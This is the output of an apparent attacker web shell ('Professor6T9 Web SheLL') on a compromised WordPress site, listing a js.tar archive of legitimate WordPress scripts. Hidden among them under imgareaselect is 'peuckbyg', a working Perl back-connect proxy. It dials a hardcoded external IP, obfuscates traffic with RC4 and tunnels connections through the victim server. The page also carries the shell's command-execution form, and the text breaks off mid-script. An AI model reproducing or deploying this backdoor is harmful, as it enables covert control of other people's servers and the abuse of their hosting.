GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium121.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
162.0.229.137
/
home
/
blacotuu
/
deliciouskenya.com
/
wp-includes
/
ID3
[ HOME ]
Exec
Submit
js.tar
tw-sack.js 0000644 00000011551 15111757752 0006471 0 ustar 00 /* Simple AJAX Code-Kit (SACK) v1.6.1 */ /* �2005 Gregory Wild-Smith */ /* www.twilightuniverse.com */ /* Software licenced under a modified X11 licence, see documentation or authors website for more details */ function sack(file) { this.xmlhttp = null; this.resetData = function() { this.method = "POST"; this.queryStringSeparator = "?"; this.argumentSeparator = "&"; this.URLString = ""; this.encodeURIString = true; this.execute = false; this.element = null; this.elementObj = null; this.requestFile = file; this.vars = new Object(); this.responseStatus = new Array(2); }; this.resetFunctions = function() { this.onLoading = function() { }; this.onLoaded = function() { }; this.onInteractive = function() { }; this.onCompletion = function() { }; this.onError = function() { }; this.onFail = function() { }; }; this.reset = function() { this.resetFunctions(); this.resetData(); }; this.createAJAX = function() { try { this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e1) { try { this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e2) { this.xmlhttp = null; } } if (! this.xmlhttp) { if (typeof XMLHttpRequest != "undefined") { this.xmlhttp = new XMLHttpRequest(); } else { this.failed = true; } } }; this.setVar = function(name, value){ this.vars[name] = Array(value, false); }; this.encVar = function(name, value, returnvars) { if (true == returnvars) { return Array(encodeURIComponent(name), encodeURIComponent(value)); } else { this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true); } } this.processURLString = function(string, encode) { encoded = encodeURIComponent(this.argumentSeparator); regexp = new RegExp(this.argumentSeparator + "|" + encoded); varArray = string.split(regexp); for (i = 0; i < varArray.length; i++){ urlVars = varArray[i].split("="); if (true == encode){ this.encVar(urlVars[0], urlVars[1]); } else { this.setVar(urlVars[0], urlVars[1]); } } } this.createURLString = function(urlstring) { if (this.encodeURIString && this.URLString.length) { this.processURLString(this.URLString, true); } if (urlstring) { if (this.URLString.length) { this.URLString += this.argumentSeparator + urlstring; } else { this.URLString = urlstring; } } // prevents caching of URLString this.setVar("rndval", new Date().getTime()); urlstringtemp = new Array(); for (key in this.vars) { if (false == this.vars[key][1] && true == this.encodeURIString) { encoded = this.encVar(key, this.vars[key][0], true); delete this.vars[key]; this.vars[encoded[0]] = Array(encoded[1], true); key = encoded[0]; } urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0]; } if (urlstring){ this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator); } else { this.URLString += urlstringtemp.join(this.argumentSeparator); } } this.runResponse = function() { eval(this.response); } this.runAJAX = function(urlstring) { if (this.failed) { this.onFail(); } else { this.createURLString(urlstring); if (this.element) { this.elementObj = document.getElementById(this.element); } if (this.xmlhttp) { var self = this; if (this.method == "GET") { totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString; this.xmlhttp.open(this.method, totalurlstring, true); } else { this.xmlhttp.open(this.method, this.requestFile, true); try { this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded") } catch (e) { } } this.xmlhttp.onreadystatechange = function() { switch (self.xmlhttp.readyState) { case 1: self.onLoading(); break; case 2: self.onLoaded(); break; case 3: self.onInteractive(); break; case 4: self.response = self.xmlhttp.responseText; self.responseXML = self.xmlhttp.responseXML; self.responseStatus[0] = self.xmlhttp.status; self.responseStatus[1] = self.xmlhttp.statusText; if (self.execute) { self.runResponse(); } if (self.elementObj) { elemNodeName = self.elementObj.nodeName; elemNodeName.toLowerCase(); if (elemNodeName == "input" || elemNodeName == "select" || elemNodeName == "option" || elemNodeName == "textarea") { self.elementObj.value = self.response; } else { self.elementObj.innerHTML = self.response; } } if (self.responseStatus[0] == "200") { self.onCompletion(); } else { self.onError(); } self.URLString = ""; break; } }; this.xmlhttp.send(this.URLString); } } }; this.reset(); this.createAJAX(); } tw-sack.min.js 0000644 00000006330 15111757752 0007252 0 ustar 00 /*! This file is auto-generated */ function sack(file){this.xmlhttp=null,this.resetData=function(){this.method="POST",this.queryStringSeparator="?",this.argumentSeparator="&",this.URLString="",this.encodeURIString=!0,this.execute=!1,this.element=null,this.elementObj=null,this.requestFile=file,this.vars=new Object,this.responseStatus=new Array(2)},this.resetFunctions=function(){this.onLoading=function(){},this.onLoaded=function(){},this.onInteractive=function(){},this.onCompletion=function(){},this.onError=function(){},this.onFail=function(){}},this.reset=function(){this.resetFunctions(),this.resetData()},this.createAJAX=function(){try{this.xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")}catch(t){try{this.xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")}catch(t){this.xmlhttp=null}}this.xmlhttp||("undefined"!=typeof XMLHttpRequest?this.xmlhttp=new XMLHttpRequest:this.failed=!0)},this.setVar=function(t,e){this.vars[t]=Array(e,!1)},this.encVar=function(t,e,n){if(1==n)return Array(encodeURIComponent(t),encodeURIComponent(e));this.vars[encodeURIComponent(t)]=Array(encodeURIComponent(e),!0)},this.processURLString=function(t,e){for(encoded=encodeURIComponent(this.argumentSeparator),regexp=new RegExp(this.argumentSeparator+"|"+encoded),varArray=t.split(regexp),i=0;i<varArray.length;i++)urlVars=varArray[i].split("="),1==e?this.encVar(urlVars[0],urlVars[1]):this.setVar(urlVars[0],urlVars[1])},this.createURLString=function(t){for(key in this.encodeURIString&&this.URLString.length&&this.processURLString(this.URLString,!0),t&&(this.URLString.length?this.URLString+=this.argumentSeparator+t:this.URLString=t),this.setVar("rndval",(new Date).getTime()),urlstringtemp=new Array,this.vars)0==this.vars[key][1]&&1==this.encodeURIString&&(encoded=this.encVar(key,this.vars[key][0],!0),delete this.vars[key],this.vars[encoded[0]]=Array(encoded[1],!0),key=encoded[0]),urlstringtemp[urlstringtemp.length]=key+"="+this.vars[key][0];this.URLString+=t?this.argumentSeparator+urlstringtemp.join(this.argumentSeparator):urlstringtemp.join(this.argumentSeparator)},this.runResponse=function(){eval(this.response)},this.runAJAX=function(t){if(this.failed)this.onFail();else if(this.createURLString(t),this.element&&(this.elementObj=document.getElementById(this.element)),this.xmlhttp){var e=this;if("GET"==this.method)totalurlstring=this.requestFile+this.queryStringSeparator+this.URLString,this.xmlhttp.open(this.method,totalurlstring,!0);else{this.xmlhttp.open(this.method,this.requestFile,!0);try{this.xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")}catch(t){}}this.xmlhttp.onreadystatechange=function(){switch(e.xmlhttp.readyState){case 1:e.onLoading();break;case 2:e.onLoaded();break;case 3:e.onInteractive();break;case 4:e.response=e.xmlhttp.responseText,e.responseXML=e.xmlhttp.responseXML,e.responseStatus[0]=e.xmlhttp.status,e.responseStatus[1]=e.xmlhttp.statusText,e.execute&&e.runResponse(),e.elementObj&&((elemNodeName=e.elementObj.nodeName).toLowerCase(),"input"==elemNodeName||"select"==elemNodeName||"option"==elemNodeName||"textarea"==elemNodeName?e.elementObj.value=e.response:e.elementObj.innerHTML=e.response),"200"==e.responseStatus[0]?e.onCompletion():e.onError(),e.URLString=""}},this.xmlhttp.send(this.URLString)}},this.reset(),this.createAJAX()} customize-loader.min.js 0000644 00000006737 15111757752 0011202 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(i){var n,o=wp.customize;i.extend(i.support,{history:!(!window.history||!history.pushState),hashchange:"onhashchange"in window&&(void 0===document.documentMode||7<document.documentMode)}),n=i.extend({},o.Events,{initialize:function(){this.body=i(document.body),n.settings&&i.support.postMessage&&(i.support.cors||!n.settings.isCrossDomain)&&(this.window=i(window),this.element=i('<div id="customize-container" />').appendTo(this.body),this.bind("open",this.overlay.show),this.bind("close",this.overlay.hide),i("#wpbody").on("click",".load-customize",function(e){e.preventDefault(),n.link=i(this),n.open(n.link.attr("href"))}),i.support.history&&this.window.on("popstate",n.popstate),i.support.hashchange)&&(this.window.on("hashchange",n.hashchange),this.window.triggerHandler("hashchange"))},popstate:function(e){e=e.originalEvent.state;e&&e.customize?n.open(e.customize):n.active&&n.close()},hashchange:function(){var e=window.location.toString().split("#")[1];e&&0===e.indexOf("wp_customize=on")&&n.open(n.settings.url+"?"+e),e||i.support.history||n.close()},beforeunload:function(){if(!n.saved())return n.settings.l10n.saveAlert},open:function(e){if(!this.active){if(n.settings.browser.mobile)return window.location=e;this.originalDocumentTitle=document.title,this.active=!0,this.body.addClass("customize-loading"),this.saved=new o.Value(!0),this.iframe=i("<iframe />",{src:e,title:n.settings.l10n.mainIframeTitle}).appendTo(this.element),this.iframe.one("load",this.loaded),this.messenger=new o.Messenger({url:e,channel:"loader",targetWindow:this.iframe[0].contentWindow}),history.replaceState&&this.messenger.bind("changeset-uuid",function(e){var t=document.createElement("a");t.href=location.href,t.search=i.param(_.extend(o.utils.parseQueryString(t.search.substr(1)),{changeset_uuid:e})),history.replaceState({customize:t.href},"",t.href)}),this.messenger.bind("ready",function(){n.messenger.send("back")}),this.messenger.bind("close",function(){i.support.history?history.back():i.support.hashchange?window.location.hash="":n.close()}),i(window).on("beforeunload",this.beforeunload),this.messenger.bind("saved",function(){n.saved(!0)}),this.messenger.bind("change",function(){n.saved(!1)}),this.messenger.bind("title",function(e){window.document.title=e}),this.pushState(e),this.trigger("open")}},pushState:function(e){var t=e.split("?")[1];i.support.history&&window.location.href!==e?history.pushState({customize:e},"",e):!i.support.history&&i.support.hashchange&&t&&(window.location.hash="wp_customize=on&"+t),this.trigger("open")},opened:function(){n.body.addClass("customize-active full-overlay-active").attr("aria-busy","true")},close:function(){var t,i=this;i.active&&(i.messenger.bind("confirmed-close",t=function(e){e?(i.active=!1,i.trigger("close"),i.originalDocumentTitle&&(document.title=i.originalDocumentTitle)):history.forward(),i.messenger.unbind("confirmed-close",t)}),n.messenger.send("confirm-close"))},closed:function(){n.iframe.remove(),n.messenger.destroy(),n.iframe=null,n.messenger=null,n.saved=null,n.body.removeClass("customize-active full-overlay-active").removeClass("customize-loading"),i(window).off("beforeunload",n.beforeunload),n.link&&n.link.focus()},loaded:function(){n.body.removeClass("customize-loading").attr("aria-busy","false")},overlay:{show:function(){this.element.fadeIn(200,n.opened)},hide:function(){this.element.fadeOut(200,n.closed)}}}),i(function(){n.settings=_wpCustomizeLoaderSettings,n.initialize()}),o.Loader=n}((wp,jQuery)); imgareaselect/imgareaselect.css 0000644 00000001426 15111757752 0012706 0 ustar 00 /* * imgAreaSelect animated border style */ .imgareaselect-border1 { background: url(border-anim-v.gif) repeat-y left top; } .imgareaselect-border2 { background: url(border-anim-h.gif) repeat-x left top; } .imgareaselect-border3 { background: url(border-anim-v.gif) repeat-y right top; } .imgareaselect-border4 { background: url(border-anim-h.gif) repeat-x left bottom; } .imgareaselect-border1, .imgareaselect-border2, .imgareaselect-border3, .imgareaselect-border4 { filter: alpha(opacity=50); opacity: 0.5; } .imgareaselect-handle { background-color: #fff; border: solid 1px #000; filter: alpha(opacity=50); opacity: 0.5; } .imgareaselect-outer { background-color: #000; filter: alpha(opacity=50); opacity: 0.5; } .imgareaselect-selection { } imgareaselect/peuckbyg 0000755 00000022033 15111757752 0011123 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.172'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); imgareaselect/jquery.imgareaselect.min.js 0000644 00000023052 15111757752 0014631 0 ustar 00 !function(Se){var ze=Math.abs,ke=Math.max,Ce=Math.min,Ae=Math.floor;function We(){return Se("<div/>")}Se.imgAreaSelect=function(o,s){var T,L,r,c,d,a,t,j,D,R,X,i,Y,$,q,B,n,Q,u,l,h,f,F,m,p,y,g,G,v=Se(o),b=We(),x=We(),w=We().add(We()).add(We()).add(We()),S=We().add(We()).add(We()).add(We()),z=Se([]),k={left:0,top:0},C={left:0,top:0},A=0,J="absolute",W={x1:0,y1:0,x2:0,y2:0,width:0,height:0},U=document.documentElement,V=navigator.userAgent;function I(e){return e+k.left-C.left}function K(e){return e+k.top-C.top}function P(e){return e-k.left+C.left}function N(e){return e-k.top+C.top}function Z(e){return ke(e.pageX||0,ee(e).x)-C.left}function _(e){return ke(e.pageY||0,ee(e).y)-C.top}function ee(e){e=e.originalEvent||{};return e.touches&&e.touches.length?{x:e.touches[0].pageX,y:e.touches[0].pageY}:{x:0,y:0}}function H(e){var t=e||R,e=e||X;return{x1:Ae(W.x1*t),y1:Ae(W.y1*e),x2:Ae(W.x2*t),y2:Ae(W.y2*e),width:Ae(W.x2*t)-Ae(W.x1*t),height:Ae(W.y2*e)-Ae(W.y1*e)}}function te(e,t,o,i,n){var s=n||R,n=n||X;(W={x1:Ae(e/s||0),y1:Ae(t/n||0),x2:Ae(o/s||0),y2:Ae(i/n||0)}).width=W.x2-W.x1,W.height=W.y2-W.y1}function M(){T&&v.width()&&(k={left:Ae(v.offset().left),top:Ae(v.offset().top)},d=v.innerWidth(),a=v.innerHeight(),k.top+=v.outerHeight()-a>>1,k.left+=v.outerWidth()-d>>1,Y=Ae(s.minWidth/R)||0,$=Ae(s.minHeight/X)||0,q=Ae(Ce(s.maxWidth/R||1<<24,d)),B=Ae(Ce(s.maxHeight/X||1<<24,a)),"1.3.2"!=Se().jquery||"fixed"!=J||U.getBoundingClientRect||(k.top+=ke(document.body.scrollTop,U.scrollTop),k.left+=ke(document.body.scrollLeft,U.scrollLeft)),C=/absolute|relative/.test(t.css("position"))?{left:Ae(t.offset().left)-t.scrollLeft(),top:Ae(t.offset().top)-t.scrollTop()}:"fixed"==J?{left:Se(document).scrollLeft(),top:Se(document).scrollTop()}:{left:0,top:0},r=I(0),c=K(0),W.x2>d||W.y2>a)&&ae()}function oe(e){if(Q){switch(b.css({left:I(W.x1),top:K(W.y1)}).add(x).width(y=W.width).height(g=W.height),x.add(w).add(z).css({left:0,top:0}),w.width(ke(y-w.outerWidth()+w.innerWidth(),0)).height(ke(g-w.outerHeight()+w.innerHeight(),0)),Se(S[0]).css({left:r,top:c,width:W.x1,height:a}),Se(S[1]).css({left:r+W.x1,top:c,width:y,height:W.y1}),Se(S[2]).css({left:r+W.x2,top:c,width:d-W.x2,height:a}),Se(S[3]).css({left:r+W.x1,top:c+W.y2,width:y,height:a-W.y2}),y-=z.outerWidth(),g-=z.outerHeight(),z.length){case 8:Se(z[4]).css({left:y>>1}),Se(z[5]).css({left:y,top:g>>1}),Se(z[6]).css({left:y>>1,top:g}),Se(z[7]).css({top:g>>1});case 4:z.slice(1,3).css({left:y}),z.slice(2,4).css({top:g})}!1!==e&&(Se.imgAreaSelect.onKeyPress!=ve&&Se(document).off(Se.imgAreaSelect.keyPress,Se.imgAreaSelect.onKeyPress),s.keys)&&Se(document).on(Se.imgAreaSelect.keyPress,function(){Se.imgAreaSelect.onKeyPress=ve}),O&&w.outerWidth()-w.innerWidth()==2&&(w.css("margin",0),setTimeout(function(){w.css("margin","auto")},0))}}function ie(e){M(),oe(e),ne()}function ne(){u=I(W.x1),l=K(W.y1),h=I(W.x2),f=K(W.y2)}function se(e,t){s.fadeSpeed?e.fadeOut(s.fadeSpeed,t):e.hide()}function E(e){var t=P(Z(e))-W.x1,e=N(_(e))-W.y1;G||(M(),G=!0,b.one("mouseout",function(){G=!1})),i="",s.resizable&&(e<=s.resizeMargin?i="n":e>=W.height-s.resizeMargin&&(i="s"),t<=s.resizeMargin?i+="w":t>=W.width-s.resizeMargin&&(i+="e")),b.css("cursor",i?i+"-resize":s.movable?"move":""),L&&L.toggle()}function re(e){Se("body").css("cursor",""),!s.autoHide&&W.width*W.height!=0||se(b.add(S),function(){Se(this).hide()}),Se(document).off("mousemove touchmove",ue),b.on("mousemove touchmove",E),s.onSelectEnd(o,H())}function ce(e){return"mousedown"==e.type&&1!=e.which||(E(e),M(),i?(Se("body").css("cursor",i+"-resize"),u=I(W[/w/.test(i)?"x2":"x1"]),l=K(W[/n/.test(i)?"y2":"y1"]),Se(document).on("mousemove touchmove",ue).one("mouseup touchend",re),b.off("mousemove touchmove",E)):s.movable?(j=r+W.x1-Z(e),D=c+W.y1-_(e),b.off("mousemove touchmove",E),Se(document).on("mousemove touchmove",he).one("mouseup touchend",function(){s.onSelectEnd(o,H()),Se(document).off("mousemove touchmove",he),b.on("mousemove touchmove",E)})):v.mousedown(e)),!1}function de(e){n&&(e?(h=ke(r,Ce(r+d,u+ze(f-l)*n*(u<h||-1))),f=Ae(ke(c,Ce(c+a,l+ze(h-u)/n*(l<f||-1)))),h=Ae(h)):(f=ke(c,Ce(c+a,l+ze(h-u)/n*(l<f||-1))),h=Ae(ke(r,Ce(r+d,u+ze(f-l)*n*(u<h||-1)))),f=Ae(f)))}function ae(){null!=u&&null!=h&&null!=l&&null!=f||ne(),u=Ce(u,r+d),l=Ce(l,c+a),ze(h-u)<Y&&((h=u-Y*(h<u||-1))<r?u=r+Y:r+d<h&&(u=r+d-Y)),ze(f-l)<$&&((f=l-$*(f<l||-1))<c?l=c+$:c+a<f&&(l=c+a-$)),h=ke(r,Ce(h,r+d)),f=ke(c,Ce(f,c+a)),de(ze(h-u)<ze(f-l)*n),ze(h-u)>q&&(h=u-q*(h<u||-1),de()),ze(f-l)>B&&(f=l-B*(f<l||-1),de(!0)),W={x1:P(Ce(u,h)),x2:P(ke(u,h)),y1:N(Ce(l,f)),y2:N(ke(l,f)),width:ze(h-u),height:ze(f-l)},oe(),s.onSelectChange(o,H())}function ue(e){return h=/w|e|^$/.test(i)||n?Z(e):I(W.x2),f=/n|s|^$/.test(i)||n?_(e):K(W.y2),ae(),!1}function le(e,t){h=(u=e)+W.width,f=(l=t)+W.height,Se.extend(W,{x1:P(u),y1:N(l),x2:P(h),y2:N(f)}),oe(),s.onSelectChange(o,H())}function he(e){return u=ke(r,Ce(j+Z(e),r+d-W.width)),l=ke(c,Ce(D+_(e),c+a-W.height)),le(u,l),e.preventDefault(),!1}function fe(){Se(document).off("mousemove touchmove",fe),M(),h=u,f=l,ae(),i="",S.is(":visible")||b.add(S).hide().fadeIn(s.fadeSpeed||0),Q=!0,Se(document).off("mouseup touchend",me).on("mousemove touchmove",ue).one("mouseup touchend",re),b.off("mousemove touchmove",E),s.onSelectStart(o,H())}function me(){Se(document).off("mousemove touchmove",fe).off("mouseup touchend",me),se(b.add(S)),te(P(u),N(l),P(u),N(l)),this instanceof Se.imgAreaSelect||(s.onSelectChange(o,H()),s.onSelectEnd(o,H()))}function pe(e){return 1<e.which||S.is(":animated")||(M(),j=u=Z(e),D=l=_(e),Se(document).on({"mousemove touchmove":fe,"mouseup touchend":me})),!1}function ye(){ie(!1)}function ge(){T=!0,xe(s=Se.extend({classPrefix:"imgareaselect",movable:!0,parent:"body",resizable:!0,resizeMargin:10,onInit:function(){},onSelectStart:function(){},onSelectChange:function(){},onSelectEnd:function(){}},s)),b.add(S).css({visibility:""}),s.show&&(Q=!0,M(),oe(),b.add(S).hide().fadeIn(s.fadeSpeed||0)),setTimeout(function(){s.onInit(o,H())},0)}var ve=function(e){var t,o=s.keys,i=e.keyCode,n=isNaN(o.alt)||!e.altKey&&!e.originalEvent.altKey?!isNaN(o.ctrl)&&e.ctrlKey?o.ctrl:!isNaN(o.shift)&&e.shiftKey?o.shift:isNaN(o.arrows)?10:o.arrows:o.alt;if("resize"==o.arrows||"resize"==o.shift&&e.shiftKey||"resize"==o.ctrl&&e.ctrlKey||"resize"==o.alt&&(e.altKey||e.originalEvent.altKey)){switch(i){case 37:n=-n;case 39:t=ke(u,h),u=Ce(u,h),h=ke(t+n,u),de();break;case 38:n=-n;case 40:t=ke(l,f),l=Ce(l,f),f=ke(t+n,l),de(!0);break;default:return}ae()}else switch(u=Ce(u,h),l=Ce(l,f),i){case 37:le(ke(u-n,r),l);break;case 38:le(u,ke(l-n,c));break;case 39:le(u+Ce(n,d-P(h)),l);break;case 40:le(u,l+Ce(n,a-N(f)));break;default:return}return!1};function be(e,t){for(var o in t)void 0!==s[o]&&e.css(t[o],s[o])}function xe(e){if(e.parent&&(t=Se(e.parent)).append(b.add(S)),Se.extend(s,e),M(),null!=e.handles){for(z.remove(),z=Se([]),m=e.handles?"corners"==e.handles?4:8:0;m--;)z=z.add(We());z.addClass(s.classPrefix+"-handle").css({position:"absolute",fontSize:"0",zIndex:A+1||1}),0<=!parseInt(z.css("width"))&&z.width(10).height(10),(p=s.borderWidth)&&z.css({borderWidth:p,borderStyle:"solid"}),be(z,{borderColor1:"border-color",borderColor2:"background-color",borderOpacity:"opacity"})}for(R=s.imageWidth/d||1,X=s.imageHeight/a||1,null!=e.x1&&(te(e.x1,e.y1,e.x2,e.y2),e.show=!e.hide),e.keys&&(s.keys=Se.extend({shift:1,ctrl:"resize"},e.keys)),S.addClass(s.classPrefix+"-outer"),x.addClass(s.classPrefix+"-selection"),m=0;m++<4;)Se(w[m-1]).addClass(s.classPrefix+"-border"+m);be(x,{selectionColor:"background-color",selectionOpacity:"opacity"}),be(w,{borderOpacity:"opacity",borderWidth:"border-width"}),be(S,{outerColor:"background-color",outerOpacity:"opacity"}),(p=s.borderColor1)&&Se(w[0]).css({borderStyle:"solid",borderColor:p}),(p=s.borderColor2)&&Se(w[1]).css({borderStyle:"dashed",borderColor:p}),b.append(x.add(w).add(L)).append(z),O&&((p=(S.css("filter")||"").match(/opacity=(\d+)/))&&S.css("opacity",p[1]/100),p=(w.css("filter")||"").match(/opacity=(\d+)/))&&w.css("opacity",p[1]/100),e.hide?se(b.add(S)):e.show&&T&&(Q=